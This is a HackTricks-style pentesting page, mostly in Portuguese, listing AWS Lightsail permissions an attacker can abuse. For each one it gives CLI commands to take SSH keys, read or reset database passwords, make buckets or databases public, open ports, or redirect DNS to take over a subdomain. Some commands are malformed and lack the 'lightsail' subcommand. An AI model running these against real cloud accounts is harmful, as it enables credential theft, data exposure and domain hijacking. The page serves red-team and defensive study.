AWS - Lightsail Privesc

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Lightsail

Para mais informações sobre Lightsail, veja:

AWS - Lightsail Enum

warning

É importante notar que Lightsail não usa IAM roles pertencentes ao usuário mas sim a uma conta gerenciada pela AWS, então você não pode abusar desse serviço para privesc. No entanto, dados sensíveis como código, chaves de API e informações de banco de dados podem ser encontrados nesse serviço.

lightsail:DownloadDefaultKeyPair

This permission will allow you to get the SSH keys to access the instances:

aws lightsail download-default-key-pair

Impacto Potencial: Encontrar informações sensíveis dentro das instâncias.

lightsail:GetInstanceAccessDetails

Esta permissão permitirá que você gere chaves SSH para acessar as instâncias:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Impacto Potencial: Encontrar informações sensíveis dentro das instances.

lightsail:CreateBucketAccessKey

Essa permissão permitirá que você obtenha uma chave para acessar o bucket:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Impacto potencial: Encontrar informações sensíveis dentro do bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Esta permissão permitirá que você obtenha as credenciais para acessar o banco de dados:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impacto Potencial: Encontrar informações sensíveis dentro do banco de dados.

lightsail:UpdateRelationalDatabase

Esta permissão permitirá que você altere a senha para acessar o banco de dados:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Se o banco de dados não for público, você também poderia torná-lo público com essas permissões:

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impacto Potencial: Encontrar informações sensíveis no banco de dados.

lightsail:OpenInstancePublicPorts

Esta permissão permite abrir portas para a Internet

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impacto Potencial: Acesso a portas sensíveis.

lightsail:PutInstancePublicPorts

Esta permissão permite abrir portas para a Internet. Note que a chamada fechará qualquer porta aberta que não esteja especificada nela.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impacto Potencial: Acessar portas sensíveis.

lightsail:SetResourceAccessForBucket

Esta permissão permite conceder a instâncias acesso a um bucket sem credenciais adicionais.

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impacto Potencial: Possível novo acesso a buckets com informações sensíveis.

lightsail:UpdateBucket

Com essa permissão, um atacante poderia conceder à sua própria conta AWS acesso de leitura aos buckets ou até tornar os buckets públicos para todos:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impacto Potencial: Possível novo acesso a buckets com informações sensíveis.

lightsail:UpdateContainerService

Com essa permissão, um atacante poderia conceder acesso a ECRs privados a partir do serviço de containers

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impacto Potencial: Obter informações sensíveis de um ECR privado

lightsail:CreateDomainEntry

Um atacante com essa permissão pode criar um subdomínio e apontá-lo para seu próprio endereço IP (subdomain takeover), criar um registro SPF que lhe permita spoof e-mails do domínio, ou mesmo definir o domínio principal para o seu próprio endereço IP.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: Tomada de um domínio

lightsail:UpdateDomainEntry

Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (subdomain takeover), ou criar um registro SPF que permita spoof de e-mails do domínio, ou até apontar o domínio principal para o seu próprio endereço IP.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impacto Potencial: Assumir um domínio

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks